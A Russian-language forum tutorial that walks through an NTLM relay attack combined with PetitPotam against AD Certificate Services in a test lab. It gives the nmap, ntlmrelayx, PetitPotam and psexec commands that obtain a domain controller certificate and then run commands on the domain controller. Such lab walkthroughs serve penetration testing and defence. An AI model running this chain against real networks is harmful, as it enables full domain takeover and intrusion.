Практика использования Relay+PetitPotam

Kate

Administrator
Команда форума
Статья расскажет о вариации нового метода атаки на инфраструктуру. Рассмотрим основные инструменты, подготовим тестовый стенд и проведем тест. Небольшой Disclamer: статья не претендует на полноту, но является примером того, как можно собрать полезную информацию и проверить работоспособность инструментов перед их использованием.

Что это и как используется​

Классический пример атак типа MiTM. То есть это атаки, которые сегодня возможны, по большей части только в локальных сетях. Данный вариант атак заключается в том, что атакующий может перехватить полностью или частично данные между двумя хостами в сети и переотправить их одному из участников соединения, как правило серверу. Переотправка может включать дополнительные изменения данных, но как правило, это воздействие может быть невозможно, в силу используемых механизмов защит, либо из-за особенностей работы системы, на которую производится атака.

Что такое PetitPotam? Самое сложное для проведения атаки типа Relay — это перехват данных, которые используются для настройки соединения. Зачастую, чтобы этот момент был 100% обнаружен в момент исследования сети можно:

  1. Использовать атаки типа ARP Poison и пользователь рано или поздно обратиться к атакующему серверу
  2. Использовать механизмы, которые принудительно заставят операционную систему начать процедуру настройки соединения.
Ко второму типу уловок как раз и относится PetitPotam. В случае конкретно этого подхода используется MS-EFSRPC протокол, который используется для вызова функции EfsRpcOpenFileRaw. Вызов этой функции запустит процесс аутентификации. Наибольшую популярность метод получил в совокупности с атакой ADCSPwn.

AD CS атака​

Недавнее исследование команды SpecterOps показало, что стандартные роли сервера для сертификатов Windows AD. Не настолько безопасны, как может показаться на первый взгляд. Согласно данным исследования, если атакующий найдет способ, как заставить контроллер домена обратиться к хосту, который поддерживает NTLM аутентификацию, то атакующий сможет заполучить сертификат для учетной записи контроллера домена. Это фактически означает, что атакующий может представляться для любых сервисов инфраструктуры контроллером домена со всеми вытекающими последствиями.

На данный момент концепцию атаки используют в совокупности с методом PetitPotam. Попробуем проверить насколько это возможно.

Настройка стенда для тестирования​

Стенд будет состоять из 3 машин:

  • Windows Server 2019 <- котроллер домена
  • Windows Server 2019 <- сервер c ролью сертификационного центра
  • Windows 10 <- клиентская машина
  • Kali linux <- машина атакующего
Чтобы настроить сервер для лабораторной, можно использовать любую систему виртуализации. Затем необходимо настроить обычный домен, делается это просто через интерфейс управления сервером. Единственная особенность, которую нужно учесть при установке — добавить роль сертификационного центра. Располагается эта опция в английской локали установщика, в функции "WebDav Redirector". После того как установили сервера, можно начинать тестирование атаки. Для проведения теста нам понадобится следующий набор инструментов:

Вообще к этому набору можно добавить инструменты из списка ниже:

Однако, чтобы использовать эти инструменты, нужно проводить тестирование именно с Windows машины. Попробуем обойтись без них.

Тестирование​

Сеть находится в следующем диапазоне: 192.168.47.1/24 найдем все активные машины в сети и обнаружим сертификационный сервер и контроллер домена:

nmap -n -sn 192.168.47.1/24
5514ecf2bd8b46247e40113f318f71fe.PNG
curl -v http://192.168.47.144/certsrv/
bca2bfa176a5e71d6fc0d710c195784e.PNG

Если сервер вернет код 301, значит один из серверов является сертификационным центром. Данный метод лишь небольшая уловка, которую можно применять на ряду с остальными методами исследования сети. Можно так же полагаться на набор сервисов, которые покажет nmap, а можно прибегнуть к поиску данных через DCOM или SMB.

Можно переходить к атаке. Запустим ntlmrelayx.py

python3 ntlmrelayx.py -t http://192.168.47.144/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
40355c3dfe0c2707cd01efce80c7de10.PNG

Заставим контроллер домена инициировать процедуру аутентификации и получим сертификат:

python3 PetitPotam.py 192.168.1.111 192.168.47.144
d226b4292bc3b2dc4d065d146c4689bf.PNG

Как видно из вывода инструмента, мы смогли заставить контроллер домена обратиться к сертификационному центру. Теперь дело за малым, нужно перехватить данные. ntlmrelayx сделал всю необходимую работу:

00cbc0d71b5280cacbfc53a63dd8cda5.PNG

Полученный сертификат идеально подходит сейчас под использование с инструментом Rubeus, но мы будем использовать дальше Kali Linux. Для того чтобы это было возможно, мы создадим файл ".ccache" именно этот файл может быть использован для работы с Kerberos.

Попробуем подключиться к контроллеру домена и выполнить команды:

export KRB5CCNAME=
python3 psexec.py /@ -k -no-pass
Таким образом, мы успешно провели атаку на уязвимом стенде. Данный набор инструментов может быть использован для дальнейшего выполнения команд в инфраструктуре Windows AD. Для защиты от подобной атаки можно использовать рекомендации от вендора. И также можно поискать еще дополнительные распространенные ошибки конфигурации сертификационных серверов с помощью вот этого инструмента.

 
Сверху